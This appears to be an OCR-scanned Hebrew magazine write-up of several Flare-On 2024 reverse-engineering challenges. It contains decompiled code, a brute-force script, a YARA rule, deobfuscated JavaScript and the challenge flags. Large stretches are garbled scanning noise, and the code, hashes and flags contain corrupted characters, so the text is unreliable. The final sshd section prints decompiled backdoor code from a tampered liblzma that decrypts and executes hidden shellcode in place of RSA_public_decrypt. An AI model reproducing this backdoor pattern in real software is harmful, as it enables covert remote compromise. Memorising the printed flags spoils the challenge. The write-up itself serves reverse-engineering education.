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1l - frog
|

Welcome to Flare-On 11! Download this 7zip package, unzip it with the password
'flare', and read the README.txt file for launching instructions. It 1is
written in PyGame so it may be runnable under many architectures, but also
includes a pyinstaller created EXE file for easy execution on Windows.

Your mission 1is get the frog to the "11" statue, and the game will display the
flag. Enter the flag on this page to advance to the next stage. All flags in
this event are formatted as email addresses ending with the @flare-on.com
domain.

.". froe. 1z

1/5888 attempts

VIR RS IR TNIEY R > SRR I B I I S

B fonts 25/09/2024 23:44 File folder
5/09/2024 23:44 File folder

5 Application 12,663 KB

frog.py /09,2024 23:38 Python Source File & KB

B README.txt /09/2024 23:50 TXT File 1KB
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¥ oooxsspox Do DTS 4G Tiid 1 fofpy, < xiasg 1T

def GenerateFlagText (X, Y):
key = x + y*20
encoded
"\ xab\ xb7\ xbe\ xb1\ xbd\ xbf \ xb7\ x8d\ xa6\ xbd\ x8d\ xe3\ xe3\ x92\ xb4\ xbe\ xb3\ xa0\ xb7\ xff \ xbd\ x
bc\ xfc \ xb1\ xbd\ xbf "
' Jjoin([ chr (ord(c) key) C encoded])

172 » 0 Ossp x p {s]s, 0 v X (] 4m !l PCOX DG 08sq L T ¥ sy x

>0

¥ Clsx o8 (v o "X

~ ~

player.x victory_tile.x player.y victory_tile.y:

victory_mode True

flag_text GenerateFlagText(player.x, player.y)

flag_text_surface flagfont.render(flag_text, False, pygame.Color( 'black’ ))
print ("%s" % flag_text)

¥ « Xss, x i s, victory tiler ~ 0 177 ]

victory_tile pygame.Vector2( 10, 10)

YoB e XL X O s PSS XX LT

°

X,y (10, 10)

def GenerateFlagText (X, Y):
key = x + y*20
encoded

"\ xab\ xb7\ xbe\ xb1\ xbd\ xbf \ xb7\ x8d\ xa6\ xbd\ x8d\ xe3\ xe3\ x92\ xb4\ xbe\ xb3\ xa0\ xb7\ x
ff \ xbd\ xbc\ xfc \ xb1\ xbd\ xbf "

" join([ chr (ord(c) key) c encoded])
print (GenerateFlagText(x,y))

Y ¥ I s X (O L4X0wSwm "

welcome_to_ll@flareon.com
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Checksummd " . % . « s

X XX s o X 7 X o8 X x o clfecksume | PEY X S . SX X G DL X
d 4« x44%. 81 Ghecksunb1 L s XL L ds T oxx"{ s T s @ 1 ox

R ST (RN B T 5 LS A-||JLX>‘S“-|":XX 1 -||_,,_\» v=’zx H 'L sxss K,'I AxI "X"'|='|X~’LQH N|

x
[
(24

RN

YF 4" x s s

PS D:\ctfs\flare\level2> .\checksum.exe
Check sum: 3937 + 6254 = 10191

: 439 + 7468 = 7907

: 8948 + 3875 = 12823

Maybe it's time to analyze the binary! ;)

X 327 40% > L X ke L 1 L IRQIDATA L v T ARTOS D xS s (X D s s
® 701, T 18 s UDAE » « 4TS o x L x4, 0" {0y

v

main_main 4 « ~S"xs x Mf x B x L Gxs, s @YD HW T 45

IDA View-A 5 Pseudocode-8 X S Pseudocode-A (@] Hex View-1 0]
.cap,
24LL,
24LL);
g, 8 ) = oLL;
2l ) = H
main_b(
e,
»
( >d int)"Maybe it's time to analyze the binary! ;)",
41,
’
s
s
s
s
(__int64) ,
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A POU DO T TS SR e x X s A main s ux L T T

>

S oS s o x st s os s sx x yfain_EncryptedFlagDatax (. X _red T 447

~ a > ~

A X TG § o o flowrt L XA %y X d ] glaph viewt | 4 TS o1 x 6T

A v

Ynain_mairs + x 1S 1 1

A >
10= qword ptr -16h
8= qword ptr -8
_s@= qword ptr @
lea r12, [rsp-8+var_1C8]
cmp r12, [r14+10h)
jbe loc_4AB066
L
L]
= rbp —
@2z rbp, rsp a7 f
rsp, 248h mov [rsp+248h+var_188], rex
loc_4A7ACE: rax, cs:math_rand_v2_globalRand| mov  rax, cs:math_rand vz_glebamanJ
lea rax, RTYPE_string nop |
call ebx, 5 mov ebx, 2710h |
mov [rsp+248h4var_8], rax t 64 call f
mov qword ptr [rax], @ [rsp+248h+var_148], rax mov [rspoz4om var_150], rax
movups [rsp+248htvar_50], xmm1s rax, RTYPE_int mov  rex, cs:math_rand vz_glchalnal\d
lea rex, RTYPE_string ax, ax nop |
mov qword ptr [rso+’~8wna se] rex mov ebx, 271¢h |
lea rdx, off_4EDABe ; [rspoz.as-nva m] rax mov rax, rex |
mov qword ptr [rsp+248htvar seos] rdx ecx, ecx call t 3
mov  rbx, cs:ios_Stdout short loc_4A791F mov  [rspt24shévar_158], rex |
mov edi, 1 movups  [rsp+248h+v 5 |
mov rsi, rdi wovups  [rspr2dEnTy ]
lea rax, go_itab__os_File_io_Writer as mov rax, [rsp+248hsvar_150] |
lea rcx, [rsp+248h+var_50] = call t : |
call : : lea  rex, RTVPE_int |
movups [rsp+248h+var_60], xmmlS loc_4A791F: mov qword ptr [rsp+248hivar_30], rex
lea rex, RTYPE_ptr_string mov rdx, [rsp+248hivar_148) s aquord ptr [rspt24shvar_3043], rax
mov qword ptr [rsp+248hevar_60], rcx lea rsi, [rdx+3] mov rax, [rsp+24shivar_158] |
mov rex, [rsp+24shevar_8) cmp rex, rsi 611
mov qword ptr [rsp+248hivar_6048], rcx jge loc_4A7ACE lea rex, RTYPE_int
mov rbx, cs:os_Stdin mov qword ptr [rsp+2
lea rax, go_itab_os_file_io_Reader mov qword ptr [rsp+2:
mov edi, 3 mov rdx, [rsp+248l
lea rsi, [rsp+248hsvar_60] wov rsi, [rsp+24shivar_150]
mov r8d, 1 add rdx, rsi
mov r9, r8 mov [rsp+248h+var_160], rdx
lea rex, a@MLiTvrruueeaa+6ah ile1 sdxaesshaavxfma 12 wov rbx, cs:os_Stdout
call t ) lea rax, go_itab_os_File_io_Writer
g s b, ol
00.008 (2€,€82) (120, €€5) 000ATOCE 00000000004ATACE: main_main:loc_4A7ACE (Synchronized with Hex View-1)

OOD® T FSI TS L 1L E 4, 4 w4 T{S9SS, € K |4 «5,7x 4 i8S

FX 1l DTESOU B X X s oL X T Ty

<V vw ~ ~> A v ~ ~ v ~

patching: * _ 4 11 LYE'S4 ¥iv o441l _ & X TS e e XX ]

> A

@A sd A Ayds 0 T TS DX g e o i ke s L H T

Fos® 90 s 4 e 1 s x X sy sy T T 4 DX a4 7
LS A4 ~ F 0 jdprt jget ws " 4]

Edit-> Patch Programr Assemble

X
]
x
N

TR e B ] Ty ]l R T® T X ST ] X ST X

Y X ¥ 1 1L dIDA] ~d 4 7

~ A ~ ~ o~

Edit-> Patch Progran» Apply patches to input file

® 11 xi"y i $Zs”|_|_v v 60X

A

a

Y@ OKOXTY SSEIX T X T x XSl xgp f 4%« AL, ]

1L wXsiox X x s | "JIg%s Pse” x g7l J{iuse _« xsp X% breakpoint+ 1 _ 7

s 4 v sIIxAg X | s
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¥4 xS dRIxs yis, ©p ¥ x (X X X TsaC s ] X

if (1 »= 8x18 )
goto LABEL_28;
*(_BYTE *)(v33 + 1) = v34;

v143.cap = v
if ( v3E ==

1

S

EH
2

[¥Y

o

)

RO T X T N T X L T X X T L oSX o SIS B X s XX ] T ] X

» o~ ~ ~

L4 IS + ¥s SORCD- X " XS OXAB- XSXx X S.ABCDI : , LS.« % x.

~ ~

1 ,x'|"v'|1”,,\v X o X " AH,,)]S‘C X .o __|s,, X « % g0 ys "o N vk@s "o .S

Al X s e A XTI XS L e X 2 X8 S x T S el X o XS € x o, ]

x$y~x| nox

T4 smain b y X ad 1% 5SS« u™s s s XX T ] Tk s

YMJ 4 mahbs o x & Isb. 3+ L 5H L ¥Xposps *x o X

/f main.b

P _ inte4 _ golang main_b(_ int64 result, int a2, int a3, int a4, int a5, int a6, int a7, int a3, int a9)

{
int vo; J/
int vl1e;
int wllj;
int vl12;
int v13;
int vl4;
int v15;
int v16;
int v17;
int v18;:
__inte4
__int64
__inte4
_ inte4
__inte4 w23; [
_QWORD v24[2]; /

h] [rbp-38h]
h] [rbp-38h]
h] [rbp-3eh]
h]
h]

(SR

[rbp-28h]
[rbp-28h]
8h] [rbp-18h] BYREF

+ @ oo @ oo

&RTYPE_string;
runtime_convTstring(a3, a4, a3, a4, a5, a6, a7/, ad, ad);
vd = os_Stdout;
fmt_Fprintln(
(unsigned int)go itab_ os_File_io Writer,
os_Stdout,
(unsigned int)v24,

123);

V2
return os_Exit(-559838737, vo, vi4, 1, 1, w15, vi6, v17, v18, v2@);
¥
return result;
}

FlareOn 2024
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@poly1385_xchacha2@polyl3e5 *)runtime_newcbject(&RTYPE_chacha2@polyl3@5_xchacha2eépolyl3e5);

v14e )

385, vl4e, 32LL, 23LL, v39);

p_c
= go_itab__golang_org_x_crypto_chacha2@poly13@5_xchacha2@poly13@5_crypto_cipher_AEAD;
= aLL;

32LL;
“chacha2@poly13@85: bad key length";

= go_itab__errors_errorString_error;
= 8LL;

w129 wdl;
main_b((_ int64)v42, (_DWORD)w44, (int)"Maybe it's time to analyze the binary! ;)", 41, (int)vas, w34, v3s,
2 = main_encryptedFlagData;
= qword_CAR4FE;
w128 = qword CAASEE;
*)&v121[8] = vo;

ORD, _QWORD, size_t, _ int64, _ int64))v129[4])(

= (uint8 *)((__int64 (_ golang *)(chacha2@poly13@5_xchacha2@poly1385 *, _QWORD, _|
w13

*(_QWORD * = 8LL;
*(_QWORD * = va47;
s (int)"Maybe it's time to analyze the binary! ;)", 41, cap, v48, v49, v5a, v51);
.h = va;

Q00RT36E main.main:259 (BBTDEE)

A > ~ ~ > W v o~

LU BT oo s x| Y (RS CIRCE N I I L SC NI

~ v

Y X« X8, Xy ¢v3 7 47 T HNE s T x

S R Rt S S Y A TN S B B A SR . I B IR B O e TR

while ( (__ir

*

6 = *(_BYTE *)(v64 + v6
= "0123456789abcdef";
if ( ptr >= v63 )

goto LABEL_27;

*(_BYTE *)(v58 + ptr) = a@123456789abcd[ > 4];
LODWORD(v52) = ptr + 1;
59 = (u gned )a@12345678%abcd[ & OxF];
if (
runtime_panicIndex(ptr + 1, ptr, ) 3
LABEL_27:
runtime_panicIndex(ptr, ptr, v63);
LABEL_28:
23 = runtime_panicIndex(i, ptr, 24LL);
LABEL_29:
runtime_panicSliceAcap(v23, ptr, v23);
}
*(_BYTE *)(ptr + v58 + 1) = v59;
++V65;
P += 2LL;
}
len = v58;
= runtime_slicebytetostring(
(unsigned int)&v127,
N
vs2,
ER
»
(_DWORD) V6@,

<1);
;->1en )

->ptr;
8)runtime_memequal(v63, p_string->ptr) )

000A7505 main.main:338 (BB7FO0S)
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... vE "hasedl x Ixq &le X 4w BIH | e d T AT S T i e

"4 wpinar % L X S cd e X 12X AL X7 S0 T x LD o O xse

M F 4 i, "Cssp X Algpsfq"s>u_,~,xj¢-|\

| __intea vas;
_BYTE *v26;
if ( lal )
11 = &runtime_noptrbss;
26 = al;
= runtime_makeslice((unsigned int)&RTYPE_uint8, a2, a2, a4, a5, a6, a7, ad, ad);
1 = FAsH
for (i =0LL; a2 > i; ++i )
{
= v9;
= v15;
=i - 11 * ((__int6a)((unsigned _ int128)(i * (__int128)@x5D1745D1745D1746LL) >> 64) >> 2);
) = vIs[i];
if ( >= @xB )
runtime_panicIndex(v18, i, 11LL);
= "FlareOn2@24bad verb '%@123456789_/dev/stdout/dev/stderrCloseHandleOpenProcessGetFileTypeshort
11 = (unsigned __int8)aTrueeeppfilepi[v1s + 3060];
*(_BYTE *)(a5 + 1) = vil1 A vis;
= as;
L73
}
P = H
= encoding_base64_ ptr_Encoding_EncodeToString(
runtime_bss,
s
3
“»
»
(_DwWORD)v10@,
»
2y
»
»
>
25);
if ( v2e == 88 )
return runtime_memequal(
iy
" cQoFRQErX1YAVW1zVQdFUSxFAQNRBXUNAXBSe15QCVRVI1pQEwd /WFBUALE 1CFBFUN1aB1ULBYRABEFdfVEWVA==");
else
return OLL;
}

FlareOn2024bad € * » X & «1]4 L X®0 « 1S & * 40 1 15T x O , ]|, sg
Cx L XX ] tes L e ORIBELD0F 44 T o l] SMKM - Xk IS X R S X Y X
XOrx B Bagedit 1«17 p 5 45 4 4 SE T . 4. 158 i « bas®an
DB T K L LB T MMIX $5 1€ BFlareOR024r

Voo XSO X L, o K L, X

7fd7dd1d0e959f74c133c13abb740b9faa6lab06bd0ecd177645e93ble3

(unsigned int)"\\REAL_FLAREON_FLAG.IPG",
778

113,
*(_inte4 *)vizl,
*(_int64 *)Rv121[8]);
v134[a];
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LBog xem DX s IOFE, o TS S U Ty o888 v L I3 o UK s o X s

LonsT X b s gl s x| PG i BT XK T T IS, X Xy X KT e

Xs VX, ox X4 pxssy ¥d{.4 ., 9
C:\ Users\ <username>\ AppData\ Local \ REAL_FLAREON FLAG.JPG

Y Y Ss T oX| K INESS X Y Y L oc B XA A4S TN

Th3_M4tH_Do_b3_mAthlng@flamn.com

Araytd _ 4 1r ¥S « s

aray
1

And now for something completely different.
write Yara rules, but can you reverse them?

I'm pretty sure you know how to

1zip archive password: flare

X | xgrayyara _ X X x X @'Y x ., Cy,"Isy o Jvaras S ¥ X < B {.S

Yoo «3"X0) B v o ™ X u@BILSX | $X %L 5k 4T s
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o SATSolvar, 1 " J $ 8% + 4 +5"%] X GPTr X ~p¥dL & X1 % ] 6427 x
FSE 4 7i2se 30 "ERPTIS -~ C v v X o e d X4 AR VT s 4t 10 1 s
Yo"t s nd 4 xl

uint 8(58) + 25 == 122

UL JHDO A e K L X OMHIHS X K p X Y~ | " xqiesy

~

AR IR S I T DA R R | X XX I o4SGEN %X
hash.md5(8, 85) == "b7dc94ca98aa58dabb5484541c812db2"
85 ~ uint8(11) != 187
uint8(55) & 128 ==
uint8(58) + 25 == 122
uint8(7) & 128 -= @
uint8(48) % 12 < 12
uint8(17) > 31
uint8(68) > 18
uint8(56) < 155
uint32(52) ~ 425786662 == 1495724241
uint8(®) % 25 < 25
85 ~ uint8(75) != 25
85 ~ uint8(28) != 12
uint8(35) < 160
uint8(3) & 128 ==
uint8(56) & 128 == @
uint8(28) % 27 < 27
uint8(4) > 38
uint8(15) & 128 == @
uint8(68) % 19 < 19
uint8(19) < 151
85 ~ uint8(73) != 17
85 ~ uint8(31) !=5
uint8(38) % 24 < 24
uint8(3) > 21
uint8(54) & 128 ==
85 ~ uint8(66) != 146
uint32(17) - 323157438 == 1412131772
hash.crc32(8, 2) == 8x61889c5c
85 ~ uint8(77) != 22
uint8(75) % 24 < 24
uint8(66) < 133
uint8(21) % 11 < 11
uint8(46) < 154
hash.crc32(34, 2) == 8x5888fcilb
uint8(55) > 5
uint2(36) + 4 == 72
85 ~ uint8(82) !- 228
85 ~ uint8(13) != 42
85 ~ uint8(6) !-= 39
uint8(33) < 160
85 ~ uint8(55) != 244
85 ~ uint8(15) != 285
85 ~ uint8(3) !- 43
85 ~ uint8(54) != 39
uintg8(28) & 128 —-= @
uint8(10) < 146
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Dt L @I S s A s e d D X D AT b B AT X X s

uint 8(0

BT s e s o s S e Il ) P e es 0 4P

X Al e X W s x Xy 4 DX x Quint32% _pld AT ¥IXx 4] D 4 T e
¥S4. 4o T xsiw L0 f 49 <hash_
hash.md5(0, 2) "89484b14bh36a8d5329426a3d944d2983"

Tl B AXL 1" X pd xSt TS _md5 hashe | v« ! X% S € g 07 g8 T s
Y4 A X IEPTA LB xR A XXX X

ESllle
target_hash "89484b14b36a8d5329426a3d944d2983"
charl range (32, 127):
char2 range (32, 127):
combination chr (charl) chr (char2)
hash_result hashlib.md5(combination.encode()).hexdigest()
hash_result target_hash:
print (f"Match found! Combination: {combination}', Hash:
{hash_result}" )

print ("No matching combination found." )

x endianes® ¢ L WM X Sy X dsqd Ul x HXO4 4SSO L f@Hy Lo s Sel X W XS

11, S, %drges ¢ 1 SS v HAR s 8040 T4 Y .., 1T«

B R ;o RS ¢ £ 6 RS I ST IS¢+ S I B R
uint8( 2) 11 119

Tx % lpxds X« BNy . X e VMM X MMgX XSt oSe 4 I T | Xl X s

Xx Q3 msl T4 Al e Hx e w e x ey

~ ~ v o~ v ~

S I e e I CTTE U B N Y W B S e I R I U S

~ ~ v

@ L TS q"ss

~ v

Yy s g 4 I oXs$ 0 X 4% NZ$ s X v

rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4dy@fareom" condition: $f } |
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Meme Makea 30001t _ 1 % ¥ S «

,,:\.$\.,+"|

x X offuscatedd + - Js!_ xx o s o« ¥ SHTML, * ¥ ¥ 8% v o«

FLARE Meme Maker 3000

| Doge o ' ' Remake ‘

i ”“.

Nal p

[ SECUy
SEXDEI

11 0 X3 X7 gl x4 ) X2 A" 10" s sdLT L

script >const aOp =aOb;( function (a, b){ const o=a0b,c =a(); "o {const d-parselnt (o(0Oxd7ed))
0x1*(parselnt (o(0x381d)) / 0x2) +- parselnt (o(0x10a7f)) / Ox3* (- parselnt (o(0x15fd2)) / 0x4) +parselnt (o( Ox
128f8)) / Ox5+- parselnt (0(0x1203c)) / Ox6+parselnt (o( 0xe319)) / 0x7*( parselnt (o( 0xe69f)) / 0x8) +- parselnt (
0( 0x17d84)) / 0x9+parselnt (o(0x6866)) / Oxa* (- parseint (o(0x2e3b)) / Oxb); if (d b) ; c[ '‘push' ](c
['shift  10):} (e){c[ 'push' ](c[ ‘shift" 10);}}}(a0a, 0x56f9f )); const aOc=[ aOp(0x14c8f ) +aOp(0x114
df ) +aOp( 0x17cca) +aOp( 0xcd68) +'verflo' a0p( Oxccha) +'egacy \ x20' +a0p( 0x7d61), aOp(0x13c3f ) +aOp( 0x10d3)

a0p(0x17a2), aOp( 0x14c8f ) +'ou \ x20dec' +aOp( 0x8440) +a0p( 0xd950) +'bfusca’ +'ted \ x20co' +aOp( 0x143ce) +a0
p( 0x562f ) +'kes \ x20pe' +a0p( 0x17b7c) +a0p( 0x10d4a), aOp( 0x257) +'er \ x20a\ x20w' +a0p( 0x16235) +aOp( 0x168a9
) +a0p( Oxbbc2) +a0p( 0x6e47) +'ng' , 'When\ x20y' +aOp( Oxd14e) +'‘compil’ +'er \ x20cra' +'shes' , aOp( 0x1525f) +a0
p( 0x2220) +a0p( 0x18635) +a0p( 0x12631) +aOp( 0xd3c7), ‘Securi’ +ty \x20\ x27Ex' +a0Op(0x11370), ‘Al' , aOp(0x12
de4) +a0p( 0x11202) +, \ x20but\ x20' +'can \ x20yo' +a0p( 0x3968) +' \ x20it?" , aOp( 0x14c8f ) +a0p( 0x1a83) +alp( Ox
abcf ) +aOp( 0x293c) +a0p( 0x8e99) +'e \ x20firs' a0p( Oxe162), aOp(0x100c0) +aOp(0x8clb) +aOp( Ox3bba) +a0p( Oxb
640) +a0p( 0x1490f ),

deobfuscators Yobfuscators o _ 4 4 ¢ 4:ux4"¥yx » 1 ¢ s X X offfuscatedd - ~ _d4+, _|

~ ~ >~

Y X B x sy 4 8FIxx oax {4 w5 @ss i vise] Lo X AT D LS

const alc = [
‘When you find a buffer overflow in legacy code' ,
'Reverse Engineer'
‘When you decompile the obfuscated code and it makes perfect sense' ,
‘Me after a week of reverse engineering' ,
‘When your decompiler crashes' ,
"It's not a bug, it'a a feature"
"Security 'Expert™" ,
‘Al
"That's great, but can you hack it?" ,
‘When your code compiles for the first time'
"If it ain't broke, break it" ,
"Reading someone else's code" ,
'EDR',
‘This is fine'
'FLARE On',
"It's always DNS"
'strings.exe' ,
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"Don't click on that." ,
'When you find the perfect 0 - day exploit'
'Security through obscurity'
'Instant Coffee'
'H@xO0r" ,
'‘Malware' ,
'$1,000,000'
'IDA Pro'
'Security Expert'
1,
a0d = {
dogel: [
['75%' , '25%'],
['75%', '82%'],
Ik
boy_friendO: [
['75%', '25%'],
['40%', '60%'],
['70%', '70%'],
1
draw: [[ '30%', '30%']],
drake: [
['10%', '75%'],
['55%', '75%'],
1
two_buttons: [
['10%', '15%' ],
['2%', '60%' ],
Ik
success: [[  '75%', '50%']],
disaster: [[ '5%", '50%' ],
aliens: [[ '5%', '50%']],
h
ale = {
'dogel.png'
'data:image/png;base64, iVBORWOKGgoAAAANSUhEUgAAAGKAAALQCAIAAADIS56FZAANDmMEI
'draw.jpg’
'data:image/jpeg;base64, /9j/4AAQSkZIRgGABAQAASABIAAD/2wCEAAICAgICAgMCAgMFAW.
'drake.jpg'
'data:image/jpeg;base64, /9j//4AAAQSkZIRgABAQAAAQABAAD/2wCEAA MCAgMCAgMDAWMEAW...
'two_buttons.jpg’ :
'data:image/jpeg;base64, /9j/4AAQSKZIRgGABAQAA  AQABAAD/2wCEAAYEBQYFBAYGBQYHBwW...
‘fish.jpg’ :
‘data:binary/red; base64 , TVQQAAMAAAAEAAAA/IBAgAAAAAAAAAQAAAAAAAAAAAAAAAA. ..
‘boy_friendO.jpg’ :
‘data:image/jpeg;base64, /9j/AAAQSKZIRGABAQAAA  QABAAD/2wCEAAYEBQYFBAYGBQYHBwW...
'success.jpg’
‘data:image/jpeg;baseb4, /9j/AAAQSKZIRGABAQAAA  QABAAD/2wCEAAgGBgcGBRgcICQ...
‘disaster.jpg' :
‘data:image/jpeg;baseb4, /9j/AAAQSKZIRGABAQAAAQA BAAD/2wCEAAgGBgcGBQgHBwWcJCQ...
‘aliens.jpg’ :
‘data:image/jpeg;baseb4, /9j/AAAQSKZIRGABAQAAAQ ABAAD/2wCEAAYEBQYFBAYGBQYHBwW...

function  a0f () {

document. getElementByld (‘captionl’ ).hidden true
document. getElementByld (‘caption2' ).hidden true
document. getElementByld (‘caption3' ).hidden true
const a = document. getElementByld (‘'meme template' )
var b = awvalue. split ('." )[ 0]
a0d[b]. forEach (function (c, d){

var e = document. getElementByld (‘caption' (d 1))

e.hidden false

e.style.top aod[b][d][ 0]

e.style.left aod[b][d][ 1]

e.textContent alc[ Math. floor (Math. random() (a0c.length )]
D

}

aof ()

const aOg = document. getElementByld (‘'meme image'),
aOh = document. getElementByld ('meme container' ),
aoi document. getElementByld (‘remake’ ),
a0j document. getElementByld ('meme template’ )
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a0g.src ale[a0j.value]

a0j. addEventListener ('change' ,() => {
alg.src ale[a0j.value]
alg.alt a0j.value
aof ()

D

ali. addEventListener (‘click’ ,() =>{

aok() {
a = aOg.alt. split (/" ). pop()
Object . keys (a0e)[ 5]) {

b = aOl.textContent,
a0m.textContent,
aon.textContent

alc. indexOf (b) 14

alc. indexOf (c) alc.length
alc. indexOf (d) 22

var e Date(). getTime ()

( Date(). getTime () e + 3000) {}
var f

d[ 3]
m

a[ 10]
o] 4|
a[ 3]
c[ 5]
c[c.length
i
a[ 3]
oy
a[ 3]
c[ 2]
c[ 4]
c[ 3]
3
d[ 2]
a[ 3]
4
aOc[ 1][ 2]
d[ 4]
5
c[ 2]
d[ 5]
L
c[ 11]
e
aoc[ 21][ 1]
b.replace (' , '-")
al 11]
alc[ 4]. substring (12, 15)
f f. toLowerCase ()
alert (atob ('Q29uz3JhdHVsYXRpb25zISBIZXJIIHIvdSBnbzog' ) f)

const a0l document. getElementByld ('captionl' ),
a0m = document. getElementByld ('caption2' ),
aOn = document. getElementByld ('caption3' )
all. addEventListener ('keyup' ,() =>{
aok()
D
aOm.addEventListener ('keyup' ,() =>{
aok()
D
aon. addEventListener ('keyup' ,() =>{
aok()
}

FlareOn 2024
www.DigitalWhisper.co.il

H nNH

x

~

‘,168= X 'I LY




Technologic

posaBcd o S E T ISR X LS X L X TURTR 4 M, Dougs ]l Y

s ” remaker S Al LS v Lt oosxiox 7 0B ] memestr 14 9],
dpboxt © ~ ¢ X X memeat -+ X " W% v @® 4L _ X onBmer 15411, <1

DG . 1 dogdd ~ sS4 X

Lo, X g g ks Csw L8 X LSsTRs N TS 44T 4 s s 68 X

3

BT b L s oIS x X By Iss L ¢ 15 447 4 HYwd 1 | meme

Y xS 40 | - x s Pl "4 s 1 based
Congratulations! Here you go:

S N S [ CHE N B T IR RN I SIS B S TR IR 0 IR BOOS L5 B

Y Al st T ! {9 ohfuscateds | x « x <1 ™ xjsie ! sx .

aO0c[ 14];
aOc[aOc.length 1;
aloc| 22];

Ly sy b g dpld x4 PSS s sy IX L TS 4 e 2 el s X
2 kv amemats X OXYue N o @B ] 9 {cdmmentgt o x o L Xd SO

¥ CF Uiy b L
(a Object . keys (a0e)[ 5]) {

Yooyfriendt | « ! "«ixpy s - ~afled ~ o ¥ C
FLARE Meme Maker 3000

[Dis'rmcfed Boyfriend V]l Remake ’

¢

POk 14X AX Y FH L akSe x5S 4 SN, K ox
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Y ¥ lkesalertt * % «s 0 ] X ] ¥ X Xe 41 < desd |

This page says

Congratulations! Here you go: wh0a_it5_4 _cru3l_jdvaScrip7@flare-
on.com

x TopXygleos % S

whOa_it5_4_cru3l_j4vaScrlp7@flamsn.com

IIHHHIIHHHHII

5 - sshd
1

Our server in the FLARE Intergalactic HO has crashed! Now criminals are trying
to sell me my own data!!! Do your part, random internet hacker, to help FLARE

out and tell us what data they stole! We used the best forensic preservation
technique of just copying all the files on the system for you.

Tzip archive password: flare

.‘.. sshd.7z

1/5880 attempts
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Sty XY Ard 4101145 L 1 ssk_container | tar x | xo-{XFrge | % X

o

last dated | 4 H x4, 7 1 c417sed@ 1 ¢ L Y 4 T e 1 i8S (4 45 XD s

> ~ ~

FOl « s 4 (v s T 0S990 4 21 d 21 1 metadatal ~  niodified

¥ « Xssl x O ¢ x
K

find . -type f -exec stat -- format =%y

?024-09-10 A A .000EEOE00 +0300
.00RERAR00 +@300 ./ /usr/share/mime
.BEEARERO0 +B300 ./ /usr/share/mime/
.0DEPEEREE +@300 ./ usr/share/mime
.000000000 +0300 ./usr/share/mime/ -sgi-movie
.000000000 +B300 ./usr/share/mime -theora+ogg
.00EARAROE +B300 ./ /usr/share/mime/x-content/audio-pl
.00OPEEEAE +@300 ./ /usr/share/mime ontent/blank-bd
.0DOPOPERE +B3008 ./ /usr/share/mime/
.00EPREREE +@300 ./ usr/share/mime
.0pOPERERE +@300 ./ /usr/share/mime/
.000ARERO0 +B380 ./usr/share/mime, ) ideo-blur
.0PEPERERE +B3008 ./ usr/share/mime/ video-dvd.
.0DOPEEERE +@300 ./ /usr/share/mime
.0DOPEDERE +B308 ./ /usr/share/mime/
.0PEPEERAR +@300 ./ usr/share/mime
.000PERE0E +B300
.000000000 +0300
.00poeRERe +B300
.000PERE0E +B300
.000000000 +0300
.00poeRERe +B300
.000PERE0E +B300 L g
.000000000 +B300 /1ib/ 64-11 gnu/liblzma.so.5.4.1
.00poeRERe +B300 L1 ( redump/sshd.core.93794.0.0.11.1725917676
9.000000000 +0300 ./root/flag.txt
flare/level5% cat ./root/flag.txt

[ S e e = =

¢ 1t were that easy
i ./ctfs/flare/levels
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P XXX T ey Y A e 8 d s T % T e T e kS Y IXsx
corelt - x X & AX ATLds ko 4 I s ) x T3 vliblZmas 14~ 4 "dEbian: |~  _ *
LA AR 4 AT se s edret - o X o dTee1 8. slhds 4ss .8 L X, X

DS T XITXX P4 XL X T TME . ~Tedebiant _S | oSYD Xl L8 X X

v

ORI s

A~

YsaptL ~Iogﬁ3 X -|Z>)xlv>sl“‘.|;$-|2‘,,sx

install openssh - server
install build - essential
install ltrace

install vim
install iputils - ping
install gdb

P s 4 e s 0 Lo IS a1, A L XY X T ] X
¥« . _&hd gdb, 4 oASILd XIS L B 1L §ssq xSk .

Jusr/sbin/sshd

FAT X 10 F Y sxE s X xqIsy Elilzmal 4L WSl w e X 4 Scdret | X x . x
Lok LS A DA D iblzmas A4 4 es) ds s lddd s Toxos v L xd x

x@d L x fiblgma X X:iwy @ X X o XX, X % (S

v o~ ~ ~

I xgdort 47 ek sy <7 v ¥ s 4.7 A TIX AL 5k S N

+ Se e X x s 4 i chrootr ! ox X4 Iid paichelf: .~ ¢ ruffpathie © o« 4 X ¥ S 4 47
Tk X« QXX s §ox (041 1. usr/bin/sshkk: <4 Do Ls X X d o« L

N

XS €4 X L« 1Y s 4 vodcktrace

Y-ox HXI" GER M & 7 wrXdsap X 4 *BY0r X $ 1SS X7 X

( =0x55b46c6e7d50, =0x4,
=0x7ffcc6602eb8) at

( =0x55b46c6e7d50, =0x4, =0x7ffcc6602eb8, =<optimized out>,
=<optimized out>, =<optimized out>, =0x7ffcc6602ea8)
at :360

SO {4 XS TSSO X x L L L X [iblgmat _x s backiracet L 1 % _
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s DA ~1: TDAY _ _: _Si ' 1b. xTE " framert 4 % x ss T ]x”

backtracet = 1 x ¥ deletednt gdb. 1 x | 41

M- framel {4 ¢ X ox K xo" K x liblzman

$X p X 0, X x. 8 4 X% x rebase

>

®
loc_7F4A1BCBFB77: ; handle
xor edi, edi

call _dlsym

mov réd, ebx

mov rcx, rld

mov rdx, rl3

mowv rsi, rbp

mov edi, rl2d

call rax

mov rbsx,| [rsp+BEBh]
xor rbx, fs:28h

jnz loc_7F4A1BCBFI75

Lol Bd s x,Xx Ix ",

v o~ o~ A~

B @lbraxt o 1 M0, x| RE S XD ]s

SA . W kOO LK S KT X s csfframes | X < B _gdbl o D X La1Xx x|

TP ks KT x

Yo 044, s xx 4% oV

__inte4 _ fastcall sub_7F4A1BCBFB28(unsigned int al, _DWORD *a2, _ inte4 a3, _ int64 a4, unsigned int a5}

{
const char *v9; // rsi
void *v1@; // rax
void *v12; // rax

void (*v13)(void); // [rsp+8h] [rbp-128h]
_BYTE v14[28@]; // [rsp+28h] [rbp-188h] BYREF
unsigned _ int64 v15; // [rsp+Esh] [rbp-48h]

= _ readfsqword(@x28u);
= "RSA_public_decrypt™;
T lgetuid() )

un

Ve
i
1
if ( *a2 == @x(54B87A48 )
sub_7F4A1BCBF3FE(v14, 22 + 1, a2 + 9, @LL);
v12 = mmap(®LL, dword_7F4A18CEBE36@, 7, 34, -1, @LL);
v13 = (wvoid (*)(void))memcpy(v1l2, &unk_7F4A1BCA996@, dword_7F4ALlBCBB368);
sub_7F4A18CBF528(v14, v13, dword 7F4A1BCEE368);
vi3();
sub_TF4A1ECEF3IFE( V]
sub_7F4A18CEF528(v
h
v3 = "RSA_public_decrypt ";

, a2 + 1, a2 + 9, @LL);
,» v13, dword_7F4A1BCBE368);

A
A

}
